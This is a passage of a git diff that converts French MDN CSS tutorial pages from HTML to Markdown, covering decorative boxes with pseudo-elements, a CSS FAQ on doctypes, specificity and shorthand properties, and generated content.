href="/fr/docs/Web/CSS/Pseudo-elements">les pseudo-éléments CSS</a>.</p> +Lorsqu'on met en forme une boîte, on aurait parfois envie d'avoir plus de boîtes pour composer une mise en forme plus complexe et plus belle. La plupart du temps, cela peut nous amener à polluer le DOM en ajoutant des éléments HTML supplémentaires, uniquement pour la mise en forme. Bien que ce soit parfois nécessaire, c'est considéré comme une mauvaise pratique. Pour éviter cela, on peut utiliser [les pseudo-éléments CSS](/fr/docs/Web/CSS/Pseudo-elements). -<h3 id="Un_nuage">Un nuage</h3> +### Un nuage -<pre class="brush: html hidden"><div class="joli">Coucou ! Je veux être joli.</div></pre> +```html hidden +<div class="joli">Coucou ! Je veux être joli.</div> +``` -<p>Voici un exemple qui illustre comment transformer la boîte en nuage :</p> +Voici un exemple qui illustre comment transformer la boîte en nuage : -<pre class="brush: css">.joli { +```css +.joli { text-align: center; /* On utilise la même astuce que pour @@ -203,20 +210,24 @@ original_slug: Apprendre/CSS/Comment/Créer_de_belles_boîtes faut s'assurer que le coin en bas à droite soit bien un angle droit. */ border-bottom-left-radius: 0; -}</pre> +} +``` -<p>{{EmbedLiveSample('Un_nuage', '100%', '160') }}</p> +{{EmbedLiveSample('Un_nuage', '100%', '160') }} -<h3 id="Une_citation">Une citation</h3> +### Une citation -<p>Pour prendre un exemple plus concret d'utilisation des pseudo-éléments : la mise en forme des éléments HTML {{HTMLElement('blockquote')}}. Prenons un exemple avec un fragment HTML différent, qui nous permettra en outre d'aborder les aspects de localisation :</p> +Pour prendre un exemple plus concret d'utilisation des pseudo-éléments : la mise en forme des éléments HTML {{HTMLElement('blockquote')}}. Prenons un exemple avec un fragment HTML différent, qui nous permettra en outre d'aborder les aspects de localisation : -<pre class="brush: html"><blockquote>People who think they know everything are a great annoyance to those of us who do. <i>Isaac Asimov</i></blockquote> -<blockquote lang="fr">L'intelligence, c'est comme les parachutes, quand on n'en a pas, on s'écrase. <i>Pierre Desproges</i></blockquote></pre> +```html +<blockquote>People who think they know everything are a great annoyance to those of us who do. <i>Isaac Asimov</i></blockquote> +<blockquote lang="fr">L'intelligence, c'est comme les parachutes, quand on n'en a pas, on s'écrase. <i>Pierre Desproges</i></blockquote> +``` -<p>Voici la feuille de style que nous allons utiliser :</p> +Voici la feuille de style que nous allons utiliser : -<pre class="brush: css">blockquote { +```css +blockquote { min-height: 5em; padding : 1em 4em; font : 1em/150% sans-serif; @@ -261,19 +272,23 @@ blockquote i { margin-top: 1rem; text-style: italic; text-align: right; -}</pre> +} +``` -<p>{{EmbedLiveSample('Une_citation', '100%', '300')}}</p> +{{EmbedLiveSample('Une_citation', '100%', '300')}} -<h2 id="Assemblage">Assemblage</h2> +## Assemblage -<p>En fusionnant tout ces aspects, il est possible de créer des effets somptueux. Au fur et à mesure, cela s'équilibrera entre un défi technique et un défi créatif. Pour conclure, par exemple, on peut créer des illusions d'optique :</p> +En fusionnant tout ces aspects, il est possible de créer des effets somptueux. Au fur et à mesure, cela s'équilibrera entre un défi technique et un défi créatif. Pour conclure, par exemple, on peut créer des illusions d'optique : -<pre class="brush: html hidden"><div class="joli">Coucou ! Je veux être joli.</div></pre> +```html hidden +<div class="joli">Coucou ! Je veux être joli.</div> +``` -<p>Nous allons ici créer un effet d'ombre portée. La propriété {{cssxref("box-shadow")}} permet d'obtenir un effet basique mais en manipulant les pseudo-éléments et la propriété {{cssxref("transform")}}, on peut obtenir un résultat plus naturel.</p> +Nous allons ici créer un effet d'ombre portée. La propriété {{cssxref("box-shadow")}} permet d'obtenir un effet basique mais en manipulant les pseudo-éléments et la propriété {{cssxref("transform")}}, on peut obtenir un résultat plus naturel. -<pre class="brush: css">.joli { +```css +.joli { position: relative; background-color: #FFC; padding: 2rem; @@ -294,10 +309,11 @@ blockquote i { box-shadow: 0px 13px 10px black; transform: rotate(4deg); -}</pre> +} +``` -<p>{{EmbedLiveSample("Assemblage", '100%', '100')}}</p> +{{EmbedLiveSample("Assemblage", '100%', '100')}} -<h2 id="La_suite">La suite</h2> +## La suite -<p>Pour de nombreux cas, on utilisera des couleurs et des images d'arrière-plans pour composer de belles boîtes. Nous vous invitons donc <a href="/fr/docs/Apprendre/CSS/Comment/Gérer_les_couleurs_et_les_images">à approfondir la gestion des couleurs et des images</a>. Par ailleurs, rien ne sert de créer de belles boîtes si celles-ci ne font pas partie d'une disposition bien organisée. Aussi, si vous ne l'avez pas encore lu, nous vous conseillons de parcourir <a href="/fr/docs/conflicting/Learn/CSS/CSS_layout/Introduction">les bases de la disposition</a>.</p> +Pour de nombreux cas, on utilisera des couleurs et des images d'arrière-plans pour composer de belles boîtes. Nous vous invitons donc [à approfondir la gestion des couleurs et des images](/fr/docs/Apprendre/CSS/Comment/Gérer_les_couleurs_et_les_images). Par ailleurs, rien ne sert de créer de belles boîtes si celles-ci ne font pas partie d'une disposition bien organisée. Aussi, si vous ne l'avez pas encore lu, nous vous conseillons de parcourir [les bases de la disposition](/fr/docs/conflicting/Learn/CSS/CSS_layout/Introduction). diff --git a/files/fr/learn/css/howto/css_faq/index.md b/files/fr/learn/css/howto/css_faq/index.md index 75479dfb18..cd4ad34b7a 100644 --- a/files/fr/learn/css/howto/css_faq/index.md +++ b/files/fr/learn/css/howto/css_faq/index.md @@ -9,88 +9,90 @@ tags: translation_of: Learn/CSS/Howto/CSS_FAQ original_slug: Web/CSS/CSS_questions_frequentes --- -<h2 id="Pourquoi_mon_CSS_pourtant_valide_ne_fournit_pas_un_rendu_correct">Pourquoi mon CSS, pourtant valide, ne fournit pas un rendu correct ?</h2> +## Pourquoi mon CSS, pourtant valide, ne fournit pas un rendu correct ? -<p>Pour afficher un document, les navigateurs utilisent le <code>DOCTYPE</code> - contraction de l'anglais <em>document type</em>, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un <code>DOCTYPE</code> correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur.</p> +Pour afficher un document, les navigateurs utilisent le `DOCTYPE` - contraction de l'anglais _document type_, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un `DOCTYPE` correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur. -<p>Les navigateurs modernes ont deux modes de rendu :</p> +Les navigateurs modernes ont deux modes de rendu : -<ul> - <li><em>Mode Quirk:</em> aussi appelé mode de rétro-compatibilité. Il permet aux pages existantes d'être affichées telles que leurs auteurs l'ont voulu, en suivant les règles de rendu non-standards utilisées par les navigateurs anciens. Les documents avec un <code>DOCTYPE</code> incomplet, incorrect ou manquant, ou avec une déclaration <code>DOCTYPE</code> en utilisation avant 2001 seront affichées en mode Quirks.</li> - <li><em>Mode Standard: </em>le navigateur tente de suivre strictement les standards du W3C. Idéalement, les nouvelles pages HTML doivent être conçues pour des navigateurs conformes aux normes. Par conséquent, les pages avec un <code>DOCTYPE</code> moderne seront affichées en mode Standard.</li> -</ul> +- _Mode Quirk:_ aussi appelé mode de rétro-compatibilité. Il permet aux pages existantes d'être affichées telles que leurs auteurs l'ont voulu, en suivant les règles de rendu non-standards utilisées par les navigateurs anciens. Les documents avec un `DOCTYPE` incomplet, incorrect ou manquant, ou avec une déclaration `DOCTYPE` en utilisation avant 2001 seront affichées en mode Quirks. +- _Mode Standard:_ le navigateur tente de suivre strictement les standards du W3C. Idéalement, les nouvelles pages HTML doivent être conçues pour des navigateurs conformes aux normes. Par conséquent, les pages avec un `DOCTYPE` moderne seront affichées en mode Standard. -<p>Les navigateurs basés sur Gecko ont un troisième mode <a href="/fr/docs/Mode_presque_standard_de_Gecko">Presque Standard</a> qui comporte quelques <em>quirks</em> mineurs.</p> +Les navigateurs basés sur Gecko ont un troisième mode [Presque Standard](/fr/docs/Mode_presque_standard_de_Gecko) qui comporte quelques _quirks_ mineurs. -<p>Voici une liste des <code>DOCTYPE</code> les plus couramment utilisés, qui déclencheront les modes Standard et Presque Standard des navigateurs :</p> +Voici une liste des `DOCTYPE` les plus couramment utilisés, qui déclencheront les modes Standard et Presque Standard des navigateurs : -<pre class="brush: html"><!DOCTYPE html> /* Ceci est le doctype HTML5. Étant donné que chaque +```html +<!DOCTYPE html> /* Ceci est le doctype HTML5. Étant donné que chaque navigateur moderne utilise un parseur HTML5, c'est le doctype recommandé. */ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" -"https://www.w3.org/TR/html4/loose.dtd"> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" +"https://www.w3.org/TR/html4/loose.dtd"> -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" -"https://www.w3.org/TR/html4/strict.dtd"> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" +"https://www.w3.org/TR/html4/strict.dtd"> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" +"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" -"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"></pre> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" +"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +``` -<h2 id="Pourquoi_mon_CSS_qui_est_valide_n'est_pas_affiché_du_tout">Pourquoi mon CSS, qui est valide, n'est pas affiché du tout ?</h2> +## Pourquoi mon CSS, qui est valide, n'est pas affiché du tout ? -<p>Pour être appliqué, une feuille CSS doit être définie avec un type MIME <code>text/css</code>. Si le serveur Web ne l'affiche pas avec ce type, la feuille CSS ne sera pas appliquée.</p> +Pour être appliqué, une feuille CSS doit être définie avec un type MIME `text/css`. Si le serveur Web ne l'affiche pas avec ce type, la feuille CSS ne sera pas appliquée. -<h2 id="Quelle_est_la_différence_entre_id_et_class">Quelle est la différence entre <code>id</code> et <code>class</code> ?</h2> +## Quelle est la différence entre `id` et `class` ? -<p>Les éléments HTML peuvent posséder un attribut de type <code>id</code> et / ou <code>class</code>. L'attribut <code>id</code> assigne un nom à l'élément sur lequel il s'applique. Pour un balisage correct, il ne peut y avoir qu'un et un seul élément avec ce nom. L'attribut <code>class</code> assigne une nom de classe à un élément. Ce nom peut être utilisé sur plusieurs éléments dans la même page. CSS vous permet d'appliquer des styles à des balises avec des noms définis en <code>id</code> et / ou en <code>class</code>.</p> +Les éléments HTML peuvent posséder un attribut de type `id` et / ou `class`. L'attribut `id` assigne un nom à l'élément sur lequel il s'applique. Pour un balisage correct, il ne peut y avoir qu'un et un seul élément avec ce nom. L'attribut `class` assigne une nom de classe à un élément. Ce nom peut être utilisé sur plusieurs éléments dans la même page. CSS vous permet d'appliquer des styles à des balises avec des noms définis en `id` et / ou en `class`. -<p>Quand vous voulez appliquer un style à un bloc ou un élément spécifique, utilisez un attribut <code>id</code>. Ces caractéristiques de style ne seront appliquées que sur cet <code>id</code> particulier.</p> +Quand vous voulez appliquer un style à un bloc ou un élément spécifique, utilisez un attribut `id`. Ces caractéristiques de style ne seront appliquées que sur cet `id` particulier. -<p>Quand vous voulez appliquer un style à plusieurs blocs ou éléments dans la même page, utilisez un attribut <code>class</code>.</p> +Quand vous voulez appliquer un style à plusieurs blocs ou éléments dans la même page, utilisez un attribut `class`. -<p>Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type <code>label</code> et <code>form</code> ou pour décorer des éléments qui doivent être sémantiquement uniques.</p> +Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type `label` et `form` ou pour décorer des éléments qui doivent être sémantiquement uniques. -<p>Voire <a href="/fr/docs/CSS/Premiers_pas/Les_sélecteurs" title="Les sélecteurs CSS">Les sélecteurs CSS</a>.</p> +Voire [Les sélecteurs CSS](/fr/docs/CSS/Premiers_pas/Les_sélecteurs "Les sélecteurs CSS"). -<h2 id="Comment_revenir_à_la_valeur_par_défaut_d'un_propriété">Comment revenir à la valeur par défaut d'un propriété ?</h2> +## Comment revenir à la valeur par défaut d'un propriété ? -<p>Jadis, il n'y avait pas de valeur nommée "default", par exemple. Le seul moyen de retrouver la valeur par défaut d'une propriété était de déclarer à nouveau cette propriété avec sa valeur par défaut.</p> +Jadis, il n'y avait pas de valeur nommée "default", par exemple. Le seul moyen de retrouver la valeur par défaut d'une propriété était de déclarer à nouveau cette propriété avec sa valeur par défaut. -<p>Ce comportement est différent depuis CSS2. Une propriété CSS peut maintenant prendre la valeur <code><a href="/fr/docs/Web/CSS/initial">initial</a></code>. C'est la valeur par défaut de cette propriété, valeur définie dans les spécifications de la propriété.</p> +Ce comportement est différent depuis CSS2. Une propriété CSS peut maintenant prendre la valeur [`initial`](/fr/docs/Web/CSS/initial). C'est la valeur par défaut de cette propriété, valeur définie dans les spécifications de la propriété. -<h2 id="Comment_créer_un_style_dérivant_d'un_autre">Comment créer un style dérivant d'un autre ?</h2> +## Comment créer un style dérivant d'un autre ? -<p>CSS ne permet de faire dériver un style d'un autre. Voire <a href="http://archivist.incutio.com/viewlist/css-discuss/2685">l'article d'Eric Meyer à propos de la position du groupe de travail</a>. Par contre, assigner plusieurs classes à un seul élément peut produire le même effet.</p> +CSS ne permet de faire dériver un style d'un autre. Voire [l'article d'Eric Meyer à propos de la position du groupe de travail](http://archivist.incutio.com/viewlist/css-discuss/2685). Par contre, assigner plusieurs classes à un seul élément peut produire le même effet. -<h2 id="Comment_assigner_de_multiples_classes_à_un_élément">Comment assigner de multiples classes à un élément?</h2> +## Comment assigner de multiples classes à un élément? -<p>Il est possible d'assigner aux éléments HTML de multiples classes en les listant dans l'attribut <code>class</code> en séparant chaque classe d'un espace.</p> +Il est possible d'assigner aux éléments HTML de multiples classes en les listant dans l'attribut `class` en séparant chaque classe d'un espace. -<pre class="brush: html"><style type="text/css"> +```html +<style type="text/css"> .news { background: black; color: white; } .today { font-weight: bold; } -</style> +</style> -<div class="news today"> +<div class="news today"> ... content of today's news ... -</div> -</pre> +</div> +``` -<p>Si la même propriété est déclarée dans les deux règles, le conflit est résolu de la manière suivante : premièrement selon la règle de spécificité, ensuite selon l'ordre de déclaration du CSS. L'ordre des classes dans l'attribut <code>class</code> n'est pas pris en compte.</p> +Si la même propriété est déclarée dans les deux règles, le conflit est résolu de la manière suivante : premièrement selon la règle de spécificité, ensuite selon l'ordre de déclaration du CSS. L'ordre des classes dans l'attribut `class` n'est pas pris en compte. -<h2 id="Pourquoi_mes_règles_ne_fonctionnent-elles_pas_correctement">Pourquoi mes règles ne fonctionnent-elles pas correctement ?</h2> +## Pourquoi mes règles ne fonctionnent-elles pas correctement ? -<p>Les règles de style qui sont syntaxiquement correctes peuvent ne pas s'appliquer dans certaines situations. Vous pouvez utiliser la partie <em>Règles de style CSS</em> de l'inspecteur DOM pour déboguer les problèmes de ce genre, mais la plupart des cas de règles de style non utilisées sont listées ci-dessous.</p> +Les règles de style qui sont syntaxiquement correctes peuvent ne pas s'appliquer dans certaines situations. Vous pouvez utiliser la partie _Règles de style CSS_ de l'inspecteur DOM pour déboguer les problèmes de ce genre, mais la plupart des cas de règles de style non utilisées sont listées ci-dessous. -<h3 id="Hiérarchie_des_éléments_HTML">Hiérarchie des éléments HTML</h3> +### Hiérarchie des éléments HTML -<p>La manière dont les styles CSS sont appliqués aux éléments HTML dépend aussi de la hiérarchie des-dits éléments. Il est important de se souvenir qu'une règle appliquée à un élément surcharge la règle appliquée pour l'élément parent, quelle que soit la spécificité ou la priorité de la règle CSS.</p> +La manière dont les styles CSS sont appliqués aux éléments HTML dépend aussi de la hiérarchie des-dits éléments. Il est important de se souvenir qu'une règle appliquée à un élément surcharge la règle appliquée pour l'élément parent, quelle que soit la spécificité ou la priorité de la règle CSS. -<pre class="brush: css">.news { +```css +.news { color: black; } @@ -98,24 +100,26 @@ original_slug: Web/CSS/CSS_questions_frequentes font-weight: bold; color: red; } -</pre> +``` -<pre class="brush: html"><!-- Le texte de l'annonce est en noir +```html +<!-- Le texte de l'annonce est en noir mais le nom de l'entreprise est - en rouge gras --> -<div class="news"> (Reuters) - <span class="corpName">General Electric</span> + en rouge gras --> +<div class="news"> (Reuters) + <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday... -</div> -</pre> +</div> +``` -<p>Dans le cas où vous utilisez une hiérarchie HTML complexe et si une règle semble être ignorée, vérifiez que l'élément n'est pas contenu dans un autre élément avec une mise en forme différente.</p> +Dans le cas où vous utilisez une hiérarchie HTML complexe et si une règle semble être ignorée, vérifiez que l'élément n'est pas contenu dans un autre élément avec une mise en forme différente. -<h3 id="L'ordre_et_la_redéfinition_des_règles">L'ordre et la redéfinition des règles</h3> +### L'ordre et la redéfinition des règles -<p>Pour les feuilles de style CSS, <strong>l'ordre est important</strong>. Si vous définissez une règle une première fois puis que vous la définissez à nouveau par la suite, c'est cette dernière définition qui sera prise en compte et utilisée.</p> +Pour les feuilles de style CSS, **l'ordre est important**. Si vous définissez une règle une première fois puis que vous la définissez à nouveau par la suite, c'est cette dernière définition qui sera prise en compte et utilisée. -<pre class="brush: css">#stockTicker { +```css +#stockTicker { font-weight: bold; } .stockSymbol { @@ -127,23 +131,24 @@ original_slug: Web/CSS/CSS_questions_frequentes .stockSymbol { font-weight: normal; } -</pre> +``` -<p> </p> -<pre class="brush: html"><!-- La plupart du texte est en gras sauf "GE", - qui est en rouge et sans graisse --> -<div id="stockTicker"> NYS: <span class="stockSymbol">GE</span> +1.0 ... </div> -</pre> +```html +<!-- La plupart du texte est en gras sauf "GE", + qui est en rouge et sans graisse --> +<div id="stockTicker"> NYS: <span class="stockSymbol">GE</span> +1.0 ... </div> +``` -<p>Pour éviter ce type d'erreur, le mieux consiste à ne définir les règles qu'une seule fois pour un sélecteur donné et à grouper toutes les règles appartenant à ce sélecteur.</p> +Pour éviter ce type d'erreur, le mieux consiste à ne définir les règles qu'une seule fois pour un sélecteur donné et à grouper toutes les règles appartenant à ce sélecteur. -<h3 id="Utiliser_les_propriétés_raccourcies">Utiliser les propriétés raccourcies</h3> +### Utiliser les propriétés raccourcies -<p>Les propriétés raccourcies sont un bon outil pour définir les règles CSS car elles permettent d'obtenir une syntaxe concise. On peut utiliser les propriétés raccourcies avec uniquement quelques unes des valeurs associées, c'est possible et c'est correct ; toutefois, il faut se rappeler que tous les attributs qui ne sont pas déclarés verront leurs valeurs par défaut (aussi appelées valeurs initiales) utilisées. Cela signifie que si une règle précédente indiquait la valeur pour une propriété détaillée, elle sera surchargée de façon implicite.</p> +Les propriétés raccourcies sont un bon outil pour définir les règles CSS car elles permettent d'obtenir une syntaxe concise. On peut utiliser les propriétés raccourcies avec uniquement quelques unes des valeurs associées, c'est possible et c'est correct ; toutefois, il faut se rappeler que tous les attributs qui ne sont pas déclarés verront leurs valeurs par défaut (aussi appelées valeurs initiales) utilisées. Cela signifie que si une règle précédente indiquait la valeur pour une propriété détaillée, elle sera surchargée de façon implicite. -<pre class="brush: css">#stockTicker { +```css +#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; @@ -153,30 +158,34 @@ original_slug: Web/CSS/CSS_questions_frequentes font: 14px Arial; color: red; } -</pre> +``` -<pre class="brush: html"><div id="stockTicker"> +```html +<div id="stockTicker"> NYS: - <span class="stockSymbol"> + <span class="stockSymbol"> GE - </span> + </span> +1.0 ... -</div></pre> +</div> +``` -<p>Dans l'exemple précédent, le problème apparaît avec des règles destinées à des éléments différents mais il peut également se produire pour un seul élément car <strong>l'ordre des règles est important</strong>.</p> +Dans l'exemple précédent, le problème apparaît avec des règles destinées à des éléments différents mais il peut également se produire pour un seul élément car **l'ordre des règles est important**. -<pre class="brush: css">#stockTicker { +```css +#stockTicker { font-weight: bold; font: 12px Verdana; /* font-weight vaut maintenant normal */ } -</pre> +``` -<h3 id="Utiliser_le_sélecteur_*">Utiliser le sélecteur <code>*</code></h3> +### Utiliser le sélecteur `*` -<p>Le sélecteur <code>*</code> fait référence à n'importe quel élément et doit donc être utilisé avec soin.</p> +Le sélecteur `*` fait référence à n'importe quel élément et doit donc être utilisé avec soin. -<pre class="brush: css">body * { +```css +body * { font-weight: normal; } @@ -191,27 +200,30 @@ original_slug: Web/CSS/CSS_questions_frequentes .stockUp { color: red; } -</pre> +``` -<pre class="brush: html"><div id="section"> +```html +<div id="section"> NYS: - <span class="corpName"> - <span class="stockUp"> + <span class="corpName"> + <span class="stockUp"> GE - </span> - </span> + </span> + </span> +1.0 ... -</div></pre> +</div> +``` -<p>Dans cet exemple, le sélecteur <code>body *</code> cible tous les éléments à l'intérieur de <code>body</code>, quel que soit le niveau hiérarchique à l'intérieur du document, y compris pour la classe <code>.stockUp</code>. Ainsi, la règle <code>font-weight: bold;</code> appliquée sur la classe <code>.corpName</code> est surchargée par la règle <code>font-weight: normal;</code> qui est appliquée à tous les éléments contenus dans <code>body</code>.</p> +Dans cet exemple, le sélecteur `body *` cible tous les éléments à l'intérieur de `body`, quel que soit le niveau hiérarchique à l'intérieur du document, y compris pour la classe `.stockUp`. Ainsi, la règle `font-weight: bold;` appliquée sur la classe `.corpName` est surchargée par la règle `font-weight: normal;` qui est appliquée à tous les éléments contenus dans `body`. -<p>Le sélecteur <code>*</code> doit être utilisé aussi peu que possible car il s'agit d'un sélecteur lent, notamment lorsqu'il n'est pas utilisé comme le premier composant d'un sélecteur.</p> +Le sélecteur `*` doit être utilisé aussi peu que possible car il s'agit d'un sélecteur lent, notamment lorsqu'il n'est pas utilisé comme le premier composant d'un sélecteur. -<h3 id="La_spécificité_en_CSS">La spécificité en CSS</h3> +### La spécificité en CSS -<p>Lorsque plusieurs règles s'applique à un même élément. La règle choisie dépend de la <a href="/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage">spécificité</a>. Les styles <em>inline</em> (ceux déclarés via l'attribut HTML <code>style</code>) sont pris en compte en priorité, suivis par ceux manipulés avec les sélecteurs d'identifiant, suivis ceux associés aux sélecteurs de classe et éventuellement par ceux associés aux sélecteurs de nom.</p> +Lorsque plusieurs règles s'applique à un même élément. La règle choisie dépend de la [spécificité](/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage). Les styles _inline_ (ceux déclarés via l'attribut HTML `style`) sont pris en compte en priorité, suivis par ceux manipulés avec les sélecteurs d'identifiant, suivis ceux associés aux sélecteurs de classe et éventuellement par ceux associés aux sélecteurs de nom. -<pre class="brush: css">div { +```css +div { color: black; } @@ -222,26 +234,28 @@ original_slug: Web/CSS/CSS_questions_frequentes .green { color: green; } -</pre> +``` -<pre class="brush: html"><div id="orange" class="green" style="color: red;"> +```html +<div id="orange" class="green" style="color: red;"> Voici quelque chose qui sera rouge. -</div></pre> +</div> +``` -<p>Les règles exactes sont plus complexes lorsque le sélecteur contient plusieurs composants. Pour plus de détails sur la façon dont la spécificité d'un sélecteur est calculé, on pourra lire <a href="https://www.w3.org/TR/CSS21/cascade.html#specificity">le chapitre de la spécification CSS 2.1</a> ou <a href="/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage">le chapitre correspondant de la section Apprendre</a>.</p> +Les règles exactes sont plus complexes lorsque le sélecteur contient plusieurs composants. Pour plus de détails sur la façon dont la spécificité d'un sélecteur est calculé, on pourra lire [le chapitre de la spécification CSS 2.1](https://www.w3.org/TR/CSS21/cascade.html#specificity) ou [le chapitre correspondant de la section Apprendre](/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage). -<h2 id="Quid_des_propriétés_-moz-*_-ms-*_-webkit-*_-o-*_et_-khtml-*">Quid des propriétés <code>-moz-*</code>, <code>-ms-*</code>, <code>-webkit-*</code>, <code>-o-*</code> et <code>-khtml-*</code> ?</h2> +## Quid des propriétés `-moz-*`, `-ms-*`, `-webkit-*`, `-o-*` et `-khtml-*` ? -<p>Ces propriétés, appelées <em>propriétés préfixées</em>, sont des extensions au standard CSS. Elles sont utilisées pour les fonctionnalités expérimentales et non-standards afin d'éviter de polluer l'espace de noms usuel pour éviter des incompatibilités lorsque le standard est augmenté.</p> +Ces propriétés, appelées _propriétés préfixées_, sont des extensions au standard CSS. Elles sont utilisées pour les fonctionnalités expérimentales et non-standards afin d'éviter de polluer l'espace de noms usuel pour éviter des incompatibilités lorsque le standard est augmenté. -<p>Il n'est pas recommandé d'utilier ces propriétés pour des sites web en production. Si cela reste nécessaire, il est conseillé de prévoir une stratégie au cas où ces propriétés préfixées soient retirées. En effet, elles peuvent être modifiées voire supprimées lorsque le standard évolue.</p> +Il n'est pas recommandé d'utilier ces propriétés pour des sites web en production. Si cela reste nécessaire, il est conseillé de prévoir une stratégie au cas où ces propriétés préfixées soient retirées. En effet, elles peuvent être modifiées voire supprimées lorsque le standard évolue. -<p>Pour plus d'informations <a href="/fr/docs/Web/CSS/Extensions_Mozilla">sur les extensions CSS de Mozilla, vous pouvez consulter la page associée</a>.</p> +Pour plus d'informations [sur les extensions CSS de Mozilla, vous pouvez consulter la page associée](/fr/docs/Web/CSS/Extensions_Mozilla). -<h2 id="Quel_est_l'impact_de_z-index_sur_le_positionnement_des_éléments">Quel est l'impact de <code>z-index</code> sur le positionnement des éléments ?</h2> +## Quel est l'impact de `z-index` sur le positionnement des éléments ? -<p>La propriété {{cssxref("z-index")}} définit l'ordre d'empilement des élément.</p> +La propriété {{cssxref("z-index")}} définit l'ordre d'empilement des élément. -<p>Un élément pour lequel <code>z-index</code> est plus grand qu'un autre sera toujours empilé « devant ».</p> +Un élément pour lequel `z-index` est plus grand qu'un autre sera toujours empilé « devant ». -<p>La propriété <code>z-index</code> ne fonctionne que pour les éléments dont la position est définie (c'est-à-dire les éléments pour lesquels la propriété {{cssxref("position")}} vaut <code>absolute</code>, <code>relative</code> ou <code>fixed</code>).</p> +La propriété `z-index` ne fonctionne que pour les éléments dont la position est définie (c'est-à-dire les éléments pour lesquels la propriété {{cssxref("position")}} vaut `absolute`, `relative` ou `fixed`). diff --git a/files/fr/learn/css/howto/generated_content/index.md b/files/fr/learn/css/howto/generated_content/index.md index aa8656013b..3179e8b02c 100644 --- a/files/fr/learn/css/howto/generated_content/index.md +++ b/files/fr/learn/css/howto/generated_content/index.md @@ -7,61 +7,66 @@ tags: translation_of: Learn/CSS/Howto/Generated_content original_slug: Apprendre/CSS/Comment/Generated_content --- -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<p>Cet article décrit différentes façons d'utiliser CSS afin d'ajouter du contenu à un document affiché. Vous pouvez modifier votre feuille de style afin d'ajouter du contenu textuel ou des images.</p> +Cet article décrit différentes façons d'utiliser CSS afin d'ajouter du contenu à un document affiché. Vous pouvez modifier votre feuille de style afin d'ajouter du contenu textuel ou des images. -<p>L'un des avantages majeurs de CSS est qu'il permet de séparer la forme du contenu. Toutefois, il existe des situations où il est pertinent d'indiquer du contenu dans la feuille de style et pas dans le document. Il est possible d'indiquer du contenu textuel ou des images dans une feuille de style lorsque ce contenu est fortement couplé à la structure du document.</p> +L'un des avantages majeurs de CSS est qu'il permet de séparer la forme du contenu. Toutefois, il existe des situations où il est pertinent d'indiquer du contenu dans la feuille de style et pas dans le document. Il est possible d'indiquer du contenu textuel ou des images dans une feuille de style lorsque ce contenu est fortement couplé à la structure du document. -<div class="note"> -<p><strong>Note :</strong> Le contenu spécifié dans la feuille de style ne fait pas partie du DOM.</p> -</div> +> **Note :** Le contenu spécifié dans la feuille de style ne fait pas partie du DOM. -<p>Ajouter du contenu dans une feuille de style peut engendrer des complications. Ainsi, si vous avez un document disponible en plusieurs langues et que ces versions partagent une même feuille de style, lorsque vous indiquez du contenu dans la feuille de style qui doit être traduit, vous devrez organiser ces parties de la feuille de style dans différents fichiers et faire le nécessaire pour qu'elles soient rattachées aux différentes versions du document.</p> +Ajouter du contenu dans une feuille de style peut engendrer des complications. Ainsi, si vous avez un document disponible en plusieurs langues et que ces versions partagent une même feuille de style, lorsque vous indiquez du contenu dans la feuille de style qui doit être traduit, vous devrez organiser ces parties de la feuille de style dans différents fichiers et faire le nécessaire pour qu'elles soient rattachées aux différentes versions du document. -<p>Ce problème ne se pose pas si le contenu indiqué est composé de symboles ou d'images qui peuvent s'appliquer dans toutes les langues et pour toutes les cultures.</p> +Ce problème ne se pose pas si le contenu indiqué est composé de symboles ou d'images qui peuvent s'appliquer dans toutes les langues et pour toutes les cultures. -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Contenu_textuel">Contenu textuel</h3> +### Contenu textuel -<p>CSS peut insérer du contenu textuel avant ou après un élément. Pour cela, on créera une règle en ajoutant {{ cssxref("::before") }} ou {{ cssxref("::after") }} au sélecteur. Dans la déclaration, on utilisera la propriété {{ cssxref("content") }} avec comme valeur le texte à utiliser.</p> +CSS peut insérer du contenu textuel avant ou après un élément. Pour cela, on créera une règle en ajoutant {{ cssxref("::before") }} ou {{ cssxref("::after") }} au sélecteur. Dans la déclaration, on utilisera la propriété {{ cssxref("content") }} avec comme valeur le texte à utiliser. -<h4 id="HTML">HTML</h4> +#### HTML -<pre class="brush: html">Un texte où j'en ai besoin de <span class="ref"> quelque chose</span> -</pre> +```html +Un texte où j'en ai besoin de <span class="ref"> quelque chose</span> +``` -<h4 id="CSS">CSS</h4> +#### CSS -<pre class="brush: css">.ref::before { +```css +.ref::before { font-weight: bold; color: navy; content: "Réference "; -}</pre> +} +``` -<h4 id="Résultat">Résultat</h4> +#### Résultat -<p>{{ 